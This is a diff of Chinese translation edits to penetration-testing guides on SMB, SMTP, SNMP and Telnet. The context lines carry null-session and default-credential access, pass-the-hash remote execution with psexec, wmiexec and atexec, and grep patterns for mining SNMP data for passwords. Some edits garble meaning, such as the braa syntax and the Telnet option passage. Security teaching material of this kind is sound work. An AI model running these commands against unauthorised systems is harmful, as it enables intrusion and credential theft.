### IPC$ Share
|
||||
|
||||
@ -36,11 +36,11 @@ _**网络基本输入输出系统**_** (NetBIOS)** 是一种软件协议,旨
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
上述命令是如何使用 `enum4linux` 对指定的 `target_ip` 进行完整枚举的示例。
|
||||
上述命令是如何使用 `enum4linux` 对指定的 `target_ip` 进行全面枚举的示例。
|
||||
|
||||
## 什么是 NTLM
|
||||
|
||||
如果你不知道什么是 NTLM,或者你想知道它是如何工作的以及如何利用它,你会发现关于 **NTLM** 的这个页面非常有趣,其中解释了 **这个协议是如何工作的以及你如何可以利用它:**
|
||||
如果你不知道 NTLM 是什么,或者你想知道它是如何工作的以及如何利用它,你会发现关于 **NTLM** 的这个页面非常有趣,其中解释了 **这个协议是如何工作的以及你如何可以利用它:**
|
||||
|
||||
{{#ref}}
|
||||
../windows-hardening/ntlm/
|
||||
@ -57,7 +57,7 @@ nbtscan -r 192.168.0.1/24
|
||||
要查找可能针对 SMB 版本的漏洞,了解正在使用的版本非常重要。如果此信息未出现在其他使用的工具中,您可以:
|
||||
|
||||
- 使用 **MSF** 辅助模块 \_**auxiliary/scanner/smb/smb_version**
|
||||
- 或者使用此脚本:
|
||||
- 或者这个脚本:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
#Author: rewardone
|
||||
@ -85,11 +85,11 @@ searchsploit microsoft smb
|
||||
| -------------------- | ----------------------------------------- |
|
||||
| _(空白)_ | _(空白)_ |
|
||||
| guest | _(空白)_ |
|
||||
| Administrator, admin | _(空白)_,password,administrator,admin |
|
||||
| arcserve | arcserve,backup |
|
||||
| tivoli, tmersrvd | tivoli,tmersrvd,admin |
|
||||
| backupexec, backup | backupexec,backup,arcada |
|
||||
| test, lab, demo | password,test,lab,demo |
|
||||
| Administrator, admin | _(空白)_, password, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | password, test, lab, demo |
|
||||
|
||||
### 暴力破解
|
||||
|
||||
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
|
||||
```
|
||||
### **手动枚举 Windows 共享并连接到它们**
|
||||
|
||||
可能您被限制显示主机的任何共享,当您尝试列出它们时,似乎没有任何共享可供连接。因此,尝试手动连接到共享可能是值得的。要手动枚举共享,您可能想要查找像 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 这样的响应,当使用有效会话(例如,空会话或有效凭据)时。这些可能表明共享是否存在以及您是否没有访问权限,或者共享根本不存在。
|
||||
可能您被限制显示主机的任何共享,当您尝试列出它们时,似乎没有任何共享可供连接。因此,尝试手动连接到共享可能是值得的。要手动枚举共享,您可能想要寻找像 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 这样的响应,当使用有效会话(例如,空会话或有效凭据)时。这些可能表明共享是否存在以及您是否没有访问权限,或者共享根本不存在。
|
||||
|
||||
Windows 目标的常见共享名称包括
|
||||
|
||||
@ -258,7 +258,7 @@ net share
|
||||
# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
MMC 快捷方式(图形)
|
||||
MMC 快捷工具(图形)
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec 可以通过 **mmcexec, smbexec, atexec, wmiexec** 中的任何一种方法执行命令,**wmiexec** 是 **默认** 方法。您可以使用参数 `--exec-method` 指定您希望使用的选项:
|
||||
crackmapexec 可以通过 **mmcexec, smbexec, atexec, wmiexec** 中的任何一种方法 **执行** 命令,其中 **wmiexec** 是 **默认** 方法。您可以使用参数 `--exec-method` 指定您希望使用的选项:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -400,7 +400,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
使用 **参数** `-k`,您可以使用 **kerberos** 进行身份验证,而不是 **NTLM**。
|
||||
使用 **参数**`-k`,您可以使用 **kerberos** 进行身份验证,而不是 **NTLM**。
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **Port 139**
|
||||
|
||||
_**网络基本输入输出系统**_\*\* (NetBIOS)\*\* 是一种软件协议,旨在使局域网 (LAN) 内的应用程序、个人电脑和桌面能够与网络硬件交互,并**促进数据在网络上的传输**。在 NetBIOS 网络上运行的软件应用程序的识别和定位是通过它们的 NetBIOS 名称实现的,这些名称可以长达 16 个字符,并且通常与计算机名称不同。当一个应用程序(充当客户端)发出命令“呼叫”另一个应用程序(充当服务器)时,两个应用程序之间的 NetBIOS 会话就会启动,使用**TCP 端口 139**。
|
||||
_**网络基本输入输出系统**_\*\* (NetBIOS)\*\* 是一种软件协议,旨在使应用程序、个人电脑和桌面计算机能够在局域网 (LAN) 内与网络硬件交互,并**促进数据在网络上的传输**。通过其 NetBIOS 名称,可以识别和定位在 NetBIOS 网络上运行的软件应用程序,这些名称最长可达 16 个字符,通常与计算机名称不同。当一个应用程序(充当客户端)发出命令“呼叫”另一个应用程序(充当服务器)时,两个应用程序之间的 NetBIOS 会话就会启动,使用**TCP 端口 139**。
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
@ -32,7 +32,7 @@ _**网络基本输入输出系统**_\*\* (NetBIOS)\*\* 是一种软件协议,
|
||||
- 可用 SMB 共享的信息
|
||||
- 有效的系统安全策略
|
||||
|
||||
此功能对于网络管理员和安全专业人员评估网络上 SMB (服务器消息块) 服务的安全态势至关重要。`enum4linux` 提供了目标系统 SMB 环境的全面视图,这对于识别潜在漏洞和确保 SMB 服务的适当安全至关重要。
|
||||
此功能对于网络管理员和安全专业人员评估网络上 SMB(服务器消息块)服务的安全态势至关重要。`enum4linux` 提供了目标系统 SMB 环境的全面视图,这对于识别潜在漏洞和确保 SMB 服务的适当安全至关重要。
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
@ -40,7 +40,7 @@ enum4linux -a target_ip
|
||||
|
||||
## 什么是 NTLM
|
||||
|
||||
如果你不知道什么是 NTLM,或者你想知道它是如何工作的以及如何利用它,你会发现关于 **NTLM** 的这个页面非常有趣,其中解释了 **这个协议是如何工作的以及你如何可以利用它:**
|
||||
如果你不知道 NTLM 是什么,或者你想知道它是如何工作的以及如何利用它,你会发现关于 **NTLM** 的这个页面非常有趣,其中解释了 **这个协议是如何工作的以及你如何可以利用它:**
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/
|
||||
@ -161,7 +161,7 @@ rpcclient-enumeration.md
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### 在文件浏览器窗口中(nautilus, thunar 等)
|
||||
#### 在文件浏览器窗口中 (nautilus, thunar, 等)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
@ -217,7 +217,7 @@ Windows 目标的常见共享名称包括
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
或此脚本(使用空会话)
|
||||
对于这个脚本(使用空会话)
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
@ -296,7 +296,7 @@ smbclient //<IP>/<share>
|
||||
- prompt: 切换文件名提示开关(默认:开启)
|
||||
- mget: 将所有匹配掩码的文件从主机复制到客户端机器
|
||||
|
||||
(_来自smbclient的手册信息_)
|
||||
(_来自smbclient的手册页_)
|
||||
|
||||
### 域共享文件夹搜索
|
||||
|
||||
@ -304,7 +304,7 @@ smbclient //<IP>/<share>
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) 蜘蛛。
|
||||
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) 爬虫。
|
||||
- `-M spider_plus [--share <share_name>]`
|
||||
- `--pattern txt`
|
||||
```bash
|
||||
@ -324,7 +324,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||
```
|
||||
## Post Exploitation
|
||||
## 后期利用
|
||||
|
||||
**Samba** 服务器的 **默认配置** 通常位于 `/etc/samba/smb.conf`,可能包含一些 **危险配置**:
|
||||
|
||||
@ -338,14 +338,14 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
| `create mask = 0777` | 新创建的文件必须分配什么权限? |
|
||||
| `directory mask = 0777` | 新创建的目录必须分配什么权限? |
|
||||
| `logon script = script.sh` | 用户登录时需要执行哪个脚本? |
|
||||
| `magic script = script.sh` | 脚本关闭时应该执行哪个脚本? |
|
||||
| `magic script = script.sh` | 脚本关闭时应执行哪个脚本? |
|
||||
| `magic output = script.out` | 魔法脚本的输出需要存储在哪里? |
|
||||
|
||||
命令 `smbstatus` 提供有关 **服务器** 和 **谁已连接** 的信息。
|
||||
|
||||
## Authenticate using Kerberos
|
||||
## 使用 Kerberos 进行身份验证
|
||||
|
||||
您可以使用工具 **smbclient** 和 **rpcclient** 进行 **kerberos** 认证:
|
||||
您可以使用工具 **smbclient** 和 **rpcclient** 进行 **Kerberos** 身份验证:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec 可以通过 **mmcexec, smbexec, atexec, wmiexec** 中的任何一种方法执行命令,**wmiexec** 是 **默认** 方法。您可以使用参数 `--exec-method` 指定您希望使用的选项:
|
||||
crackmapexec 可以通过 **mmcexec, smbexec, atexec, wmiexec** 中的任何一种方法 **执行命令**,其中 **wmiexec** 是 **默认** 方法。您可以使用参数 `--exec-method` 指定您希望使用的选项:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -392,7 +392,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
||||
|
||||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||||
|
||||
隐秘地执行命令 shell,而不接触磁盘或运行新服务,通过 **端口 135** 使用 DCOM。\
|
||||
通过 **端口 135** 隐秘地执行命令 shell,而不接触磁盘或运行新服务,使用 DCOM。\
|
||||
在 **kali** 中,它位于 /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -410,7 +410,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
||||
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||||
|
||||
通过任务调度程序执行命令(使用 _\pipe\atsvc_ 通过 SMB)。\
|
||||
在 **kali** 中位于 /usr/share/doc/python3-impacket/examples/
|
||||
在 **kali** 中,它位于 /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
|
@ -58,11 +58,11 @@ NTLM supported
|
||||
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
||||
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
||||
```
|
||||
或 **自动化** 这个过程使用 **nmap** 插件 `smtp-ntlm-info.nse`
|
||||
或**自动化**此操作,使用**nmap**插件`smtp-ntlm-info.nse`
|
||||
|
||||
### 内部服务器名称 - 信息泄露
|
||||
|
||||
一些 SMTP 服务器在发出 "MAIL FROM" 命令时,如果没有提供完整地址,会自动补全发件人地址,从而泄露其内部名称:
|
||||
一些SMTP服务器在发出“MAIL FROM”命令时,如果没有提供完整地址,会自动补全发件人地址,从而泄露其内部名称:
|
||||
```
|
||||
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
|
||||
EHLO all
|
||||
@ -219,7 +219,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
|
||||
|
||||
## SMTP Smuggling
|
||||
|
||||
SMTP Smuggling 漏洞允许绕过所有 SMTP 保护(有关保护的更多信息,请查看下一部分)。有关 SMTP Smuggling 的更多信息,请查看:
|
||||
SMTP Smuggling 漏洞允许绕过所有 SMTP 保护(有关保护的更多信息,请查看下一节)。有关 SMTP Smuggling 的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
smtp-smuggling.md
|
||||
@ -255,8 +255,8 @@ smtp-smuggling.md
|
||||
| INCLUDE | 引用另一个域的策略。如果该域的策略通过,则此机制通过。但是,如果包含的策略失败,则继续处理。要完全委托给另一个域的策略,必须使用重定向扩展。 |
|
||||
| REDIRECT | <p>重定向是指向另一个域名的指针,该域名托管 SPF 策略,它允许多个域共享相同的 SPF 策略。当处理大量共享相同电子邮件基础设施的域时,它非常有用。</p><p>将使用重定向机制中指示的域的 SPF 策略。</p> |
|
||||
|
||||
还可以识别 **限定符**,指示 **如果匹配了某个机制应该采取什么措施**。默认情况下,使用 **限定符 "+"**(因此如果匹配了任何机制,则表示允许)。\
|
||||
您通常会注意到 **每个 SPF 策略的末尾** 有类似 **\~all** 或 **-all** 的内容。这用于指示 **如果发送者不匹配任何 SPF 策略,则应将电子邮件标记为不可信(\~)或拒绝(-)电子邮件。**
|
||||
还可以识别 **限定符**,指示 **如果匹配机制应该采取什么措施**。默认情况下,使用 **限定符 "+"**(因此如果匹配任何机制,则表示允许)。\
|
||||
您通常会注意到 **每个 SPF 策略的末尾** 有类似 **\~all** 或 **-all** 的内容。这用于指示 **如果发送者不匹配任何 SPF 策略,则应将电子邮件标记为不可信(\~)或拒绝(-)该电子邮件。**
|
||||
|
||||
#### 限定符
|
||||
|
||||
@ -265,9 +265,9 @@ smtp-smuggling.md
|
||||
- **`+`**:对应于通过结果。默认情况下,机制假定此限定符,使得 `+mx` 等同于 `mx`。
|
||||
- **`?`**:表示中立结果,类似于无(没有特定策略)。
|
||||
- **`~`**:表示软失败,作为中立和失败之间的中间状态。符合此结果的电子邮件通常被接受,但会相应标记。
|
||||
- **`-`**:表示失败,建议直接拒绝电子邮件。
|
||||
- **`-`**:表示失败,建议直接拒绝该电子邮件。
|
||||
|
||||
在即将到来的示例中,**google.com 的 SPF 策略** 被说明。请注意在第一个 SPF 策略中包含来自不同域的 SPF 策略:
|
||||
在即将到来的示例中,展示了 **google.com 的 SPF 策略**。请注意在第一个 SPF 策略中包含来自不同域的 SPF 策略:
|
||||
```shell-session
|
||||
dig txt google.com | grep spf
|
||||
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
|
||||
@ -328,8 +328,8 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
||||
| pct | 受过滤消息的百分比 | pct=20 |
|
||||
| ruf | 取证报告的报告 URI | ruf=mailto:authfail@example.com |
|
||||
| rua | 汇总报告的报告 URI | rua=mailto:aggrep@example.com |
|
||||
| p | 组织域的政策 | p=quarantine |
|
||||
| sp | OD 的子域政策 | sp=reject |
|
||||
| p | 组织域的策略 | p=quarantine |
|
||||
| sp | OD 的子域策略 | sp=reject |
|
||||
| adkim | DKIM 的对齐模式 | adkim=s |
|
||||
| aspf | SPF 的对齐模式 | aspf=r |
|
||||
|
||||
@ -351,9 +351,9 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
||||
|
||||
### **开放转发**
|
||||
|
||||
当发送电子邮件时,确保它们不会被标记为垃圾邮件至关重要。这通常通过使用**受收件人信任的中继服务器**来实现。然而,一个常见的挑战是管理员可能并不完全了解哪些**IP 范围是安全的**。这种缺乏理解可能导致在设置 SMTP 服务器时出现错误,这是安全评估中经常识别的风险。
|
||||
发送电子邮件时,确保它们不会被标记为垃圾邮件至关重要。这通常通过使用**受收件人信任的中继服务器**来实现。然而,一个常见的挑战是管理员可能并不完全了解哪些**IP 范围是安全的**。这种缺乏理解可能导致在设置 SMTP 服务器时出现错误,这是安全评估中经常识别的风险。
|
||||
|
||||
一些管理员使用的解决方法是为了避免电子邮件投递问题,特别是与潜在或正在进行的客户的通信,**允许来自任何 IP 地址的连接**。这是通过配置 SMTP 服务器的 `mynetworks` 参数以接受所有 IP 地址来实现的,如下所示:
|
||||
一些管理员使用的解决方法是**允许来自任何 IP 地址的连接**,以避免电子邮件投递问题,特别是与潜在或正在进行的客户的通信。这是通过配置 SMTP 服务器的 `mynetworks` 参数以接受所有 IP 地址来实现的,如下所示:
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
@ -486,7 +486,7 @@ s.sendmail(sender, [destination], msg_data)
|
||||
- 损坏的电子邮件内容
|
||||
- 使用的值与邮件头不同
|
||||
- 存在有效且受信任的SSL证书
|
||||
- 将页面提交给网络内容过滤网站
|
||||
- 将页面提交到网络内容过滤网站
|
||||
|
||||
## 通过SMTP进行外泄
|
||||
|
||||
|
@ -15,7 +15,7 @@ PORT STATE SERVICE REASON VERSION
|
||||
### MIB
|
||||
|
||||
为了确保 SNMP 访问在不同制造商和不同客户端-服务器组合之间正常工作,创建了 **管理信息库 (MIB)**。MIB 是一种 **存储设备信息的独立格式**。MIB 是一个 **文本** 文件,其中列出了设备的所有可查询 **SNMP 对象**,以 **标准化** 的树形层次结构呈现。它至少包含一个 `对象标识符` (`OID`),该标识符除了必要的 **唯一地址** 和 **名称** 外,还提供有关类型、访问权限和相应对象描述的信息。\
|
||||
MIB 文件采用 `抽象语法标记一号` (`ASN.1`) 基于 ASCII 文本格式编写。**MIB 不包含数据**,但它们解释了 **在哪里找到哪些信息** 以及它们的外观,返回特定 OID 的值,或使用哪种数据类型。
|
||||
MIB 文件采用 `抽象语法标记一` (`ASN.1`) 基于 ASCII 文本格式编写。**MIB 不包含数据**,但它们解释了 **在哪里找到哪些信息** 以及它们的外观,返回特定 OID 的值,或使用哪种数据类型。
|
||||
|
||||
### OIDs
|
||||
|
||||
@ -27,7 +27,7 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
|
||||
|
||||
.png>)
|
||||
|
||||
您可以通过网络 **浏览** OID 树: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 或 **查看 OID 的含义**(如 `1.3.6.1.2.1.1`)访问 [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)。\
|
||||
您可以通过网络 **导航** 通过 **OID 树**: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) 或 **查看 OID 的含义**(如 `1.3.6.1.2.1.1`)访问 [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)。\
|
||||
有一些 **知名的 OID**,例如 [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) 中的 OID,引用了 MIB-2 定义的简单网络管理协议 (SNMP) 变量。从 **这个 OID 的待处理 OID** 中,您可以获取一些有趣的主机数据(系统数据、网络数据、进程数据...)
|
||||
|
||||
### **OID 示例**
|
||||
@ -45,11 +45,11 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
|
||||
- 4 – 该值确定该设备是由私营组织制造的,而不是政府组织。
|
||||
- 1 – 该值表示该设备是由企业或商业实体制造的。
|
||||
|
||||
这前六个值对于所有设备通常是相同的,它们提供了关于设备的基本信息。这个数字序列对于所有 OID 都是相同的,除非设备是由政府制造的。
|
||||
这前六个值对于所有设备来说往往是相同的,它们提供了关于设备的基本信息。这个数字序列对于所有 OID 来说都是相同的,除非设备是由政府制造的。
|
||||
|
||||
接下来是下一组数字。
|
||||
|
||||
- 1452 – 给出制造该设备的组织名称。
|
||||
- 1452 – 给出制造该设备的组织的名称。
|
||||
- 1 – 解释设备的类型。在这种情况下,它是一个闹钟。
|
||||
- 2 – 确定该设备是一个远程终端单元。
|
||||
|
||||
@ -58,7 +58,7 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
|
||||
- 5 – 表示一个离散的报警点。
|
||||
- 1 – 设备中的特定点
|
||||
- 3 – 端口
|
||||
- 21 – 端口地址
|
||||
- 21 – 端口的地址
|
||||
- 1 – 端口的显示
|
||||
- 4 – 点号
|
||||
- 7 – 点的状态
|
||||
@ -67,7 +67,7 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
|
||||
|
||||
有 2 个重要的 SNMP 版本:
|
||||
|
||||
- **SNMPv1**:主要版本,仍然是最常见的,**身份验证基于字符串**(社区字符串),以 **明文** 形式传输(所有信息以明文形式传输)。**版本 2 和 2c** 也以 **明文** 发送 **流量**,并使用 **社区字符串作为身份验证**。
|
||||
- **SNMPv1**:主要版本,仍然是最常见的,**身份验证基于字符串**(社区字符串),以 **明文** 形式传输(所有信息以明文传输)。**版本 2 和 2c** 也以 **明文** 发送 **流量**,并使用 **社区字符串作为身份验证**。
|
||||
- **SNMPv3**:使用更好的 **身份验证** 形式,信息以 **加密** 形式传输(可以进行 **字典攻击**,但找到正确的凭据比在 SNMPv1 和 v2 中要困难得多)。
|
||||
|
||||
### 社区字符串
|
||||
@ -79,7 +79,7 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
|
||||
- **`private`** **读/写** 一般
|
||||
|
||||
请注意,**OID 的可写性取决于使用的社区字符串**,因此 **即使** 您发现使用了“**public**”,您也可能能够 **写入某些值**。此外,可能存在 **始终为“只读”** 的对象。\
|
||||
如果您尝试 **写入** 一个对象,将收到 **`noSuchName` 或 `readOnly` 错误**\*\*.\*\*
|
||||
如果您尝试 **写入** 对象,将收到 **`noSuchName` 或 `readOnly` 错误**\*\*.\*\*
|
||||
|
||||
在版本 1 和 2/2c 中,如果您使用 **错误** 的社区字符串,服务器将不会 **响应**。因此,如果它响应,则使用了 **有效的社区字符串**。
|
||||
|
||||
@ -93,7 +93,7 @@ MIB 对象 ID 或 OID 的最高级别分配给不同的标准制定组织。在
|
||||
|
||||
## 暴力破解社区字符串 (v1 和 v2c)
|
||||
|
||||
要 **猜测社区字符串**,您可以执行字典攻击。查看 [这里不同的方法以对 SNMP 执行暴力攻击](../../generic-hacking/brute-force.md#snmp)。一个常用的社区字符串是 `public`。
|
||||
要 **猜测社区字符串**,您可以执行字典攻击。查看 [这里不同的方式来对 SNMP 执行暴力攻击](../../generic-hacking/brute-force.md#snmp)。一个常用的社区字符串是 `public`。
|
||||
|
||||
## 枚举 SNMP
|
||||
|
||||
@ -124,9 +124,9 @@ braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
**SNMP** 具有关于主机的大量信息,您可能会发现有趣的内容包括:**网络接口**(IPv4 和 **IPv6** 地址)、用户名、运行时间、服务器/操作系统版本以及 **进程**
|
||||
**SNMP** 具有关于主机的大量信息,您可能会发现有趣的内容包括:**网络接口**(IPv4 和 **IPv6** 地址)、用户名、正常运行时间、服务器/操作系统版本和 **进程**
|
||||
|
||||
**运行**(可能包含密码)....
|
||||
**运行中**(可能包含密码)....
|
||||
|
||||
### **危险设置**
|
||||
|
||||
@ -145,7 +145,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
|
||||
### SNMP 参数用于 Microsoft Windows
|
||||
|
||||
一系列 **管理信息库(MIB)值** 被用于通过 SNMP 监控 Windows 系统的各个方面:
|
||||
一系列 **管理信息库 (MIB) 值** 被用于通过 SNMP 监控 Windows 系统的各个方面:
|
||||
|
||||
- **系统进程**:通过 `1.3.6.1.2.1.25.1.6.0` 访问,此参数允许监控系统内的活动进程。
|
||||
- **运行程序**:`1.3.6.1.2.1.25.4.2.1.2` 值用于跟踪当前运行的程序。
|
||||
@ -165,7 +165,7 @@ cisco-snmp.md
|
||||
|
||||
## 从 SNMP 到 RCE
|
||||
|
||||
如果您拥有允许您 **写入值** 到 SNMP 服务的 **字符串**,您可能能够利用它来 **执行命令**:
|
||||
如果您拥有允许您在 SNMP 服务中 **写入值** 的 **字符串**,您可能能够利用它来 **执行命令**:
|
||||
|
||||
{{#ref}}
|
||||
snmp-rce.md
|
||||
@ -173,11 +173,11 @@ snmp-rce.md
|
||||
|
||||
## **大规模 SNMP**
|
||||
|
||||
[Braa](https://github.com/mteg/braa) 是一个大规模 SNMP 扫描器。此类工具的预期用途当然是进行 SNMP 查询——但与来自 net-snmp 的 snmpwalk 不同,它能够同时查询数十或数百个主机,并且在一个进程中。因此,它消耗的系统资源非常少,并且扫描速度非常快。
|
||||
[Braa ](https://github.com/mteg/braa) 是一个大规模 SNMP 扫描器。此类工具的预期用途当然是进行 SNMP 查询——但与来自 net-snmp 的 snmpwalk 不同,它能够同时查询数十或数百个主机,并且在一个进程中。因此,它消耗的系统资源非常少,并且扫描速度非常快。
|
||||
|
||||
Braa 实现了自己的 SNMP 堆栈,因此不需要任何 SNMP 库,如 net-snmp。
|
||||
|
||||
**语法:** braa \[Community-string]@\ [IP of SNMP server]:\[iso id]
|
||||
**语法:** braa \[社区字符串\]@\[\[SNMP 服务器的 IP\]:\[iso id\]
|
||||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
@ -199,13 +199,13 @@ grep -i "trap" *.snmp
|
||||
```
|
||||
### **用户名/密码**
|
||||
|
||||
存储在 MIB 表中的日志会被检查以查找 **失败的登录尝试**,这些尝试可能意外地包括作为用户名输入的密码。搜索关键词如 _fail_、_failed_ 或 _login_ 以找到有价值的数据:
|
||||
存储在 MIB 表中的日志会被检查以寻找 **登录失败尝试**,这可能意外地包括作为用户名输入的密码。搜索关键词如 _fail_、_failed_ 或 _login_ 以找到有价值的数据:
|
||||
```bash
|
||||
grep -i "login\|fail" *.snmp
|
||||
```
|
||||
### **电子邮件**
|
||||
|
||||
最后,为了从数据中提取 **电子邮件地址**,使用带有正则表达式的 **grep 命令**,专注于匹配电子邮件格式的模式:
|
||||
最后,为了从数据中提取 **电子邮件地址**,使用带有正则表达式的 **grep 命令**,重点关注匹配电子邮件格式的模式:
|
||||
```bash
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||
```
|
||||
|
@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
||||
```
|
||||
脚本 `telnet-ntlm-info.nse` 将获取 NTLM 信息(Windows 版本)。
|
||||
|
||||
来自 [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854):在 TELNET 协议中有各种 "**options**",可以使用 "**DO, DON'T, WILL, WON'T**" 结构进行协商,以便用户和服务器同意使用更复杂(或可能只是不同)的约定集进行 TELNET 连接。这些选项可能包括更改字符集、回显模式等。
|
||||
来自 [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854):在 TELNET 协议中有各种 "**options**",可以使用 "**DO, DON'T, WILL, WON'T**" 结构进行授权,以便用户和服务器同意使用更复杂(或可能只是不同)的约定集进行 TELNET 连接。这些选项可能包括更改字符集、回显模式等。
|
||||
|
||||
**我知道可以枚举这些选项,但我不知道怎么做,所以如果你知道怎么做,请告诉我。**
|
||||
|
||||
|
@ -37,10 +37,10 @@ web-api-pentesting.md
|
||||
- [ ] _注意,在暴力破解或爬取过程中发现新目录时,应进行爬取。_
|
||||
- [ ] **目录暴力破解**:尝试暴力破解所有发现的文件夹,寻找新的**文件**和**目录**。
|
||||
- [ ] _注意,在暴力破解或爬取过程中发现新目录时,应进行暴力破解。_
|
||||
- [ ] **备份检查**:测试是否可以通过附加常见备份扩展名找到**发现的文件**的**备份**。
|
||||
- [ ] **备份检查**:测试是否可以通过添加常见备份扩展名找到**发现文件**的**备份**。
|
||||
- [ ] **暴力破解参数**:尝试**查找隐藏参数**。
|
||||
- [ ] 一旦你**识别**了所有可能接受**用户输入**的**端点**,检查与之相关的所有类型的**漏洞**。
|
||||
- [ ] [遵循此检查清单](../../pentesting-web/web-vulnerabilities-methodology.md)
|
